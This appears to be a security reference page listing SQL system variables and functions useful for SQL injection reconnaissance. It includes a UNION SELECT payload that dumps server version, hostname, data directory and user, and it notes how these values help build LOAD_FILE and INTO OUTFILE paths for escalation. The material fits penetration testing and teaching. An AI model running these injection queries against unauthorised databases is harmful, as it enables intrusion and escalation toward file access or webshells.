Common SQL Variables

System variables and built-in functions that reveal server configuration, filesystem paths, and runtime state — essential during SQL injection reconnaissance for mapping the target environment and planning escalation.

Server identity and version

Variable / FunctionDBMSReturns
@@versionMySQL, MSSQLFull version string (OS, build, edition)
version()MySQL, PostgreSQLVersion string
@@hostnameMySQLServer’s hostname
user()MySQLCurrent MySQL user (user@host)
current_user()MySQL, PostgreSQL, MSSQLCurrent database user
system_user()MySQL, PostgreSQLOS-level user running the DBMS
session_user()PostgreSQLSession user
database()MySQLCurrent database name
schema()MySQLAlias for database()

Filesystem paths

Variable / FunctionDBMSReturns
@@datadirMySQLData directory (e.g., /var/lib/mysql)
@@tmpdirMySQLTemporary directory
@@basedirMySQLMySQL installation base directory

The @@datadir value is particularly useful for constructing LOAD_FILE() and INTO OUTFILE paths during escalation. See mysql-into-outfile-webshell.

Feature and capability flags

VariableDBMSReturns
@@GLOBAL.have_symlinkMySQLYES/NO — symlink support (affects LOAD_FILE)
@@GLOBAL.have_sslMySQLYES/NO — SSL support
@@global.secure_file_privMySQLRestricts LOAD_FILE()/INTO OUTFILE to a directory (or NULL = disabled)
@@global.read_onlyMySQLWhether the server is in read-only mode

Practical recon queries

-- Full environment summary in one UNION
UNION SELECT NULL, CONCAT(
  @@version, 0x3a,
  @@hostname, 0x3a,
  @@datadir, 0x3a,
  user(), 0x3a,
  database()
)--
 
-- Check secure_file_priv before attempting OUTFILE
SELECT @@global.secure_file_priv;
 
-- Confirm current privileges
SELECT user(), current_user(), system_user();

Sources

See also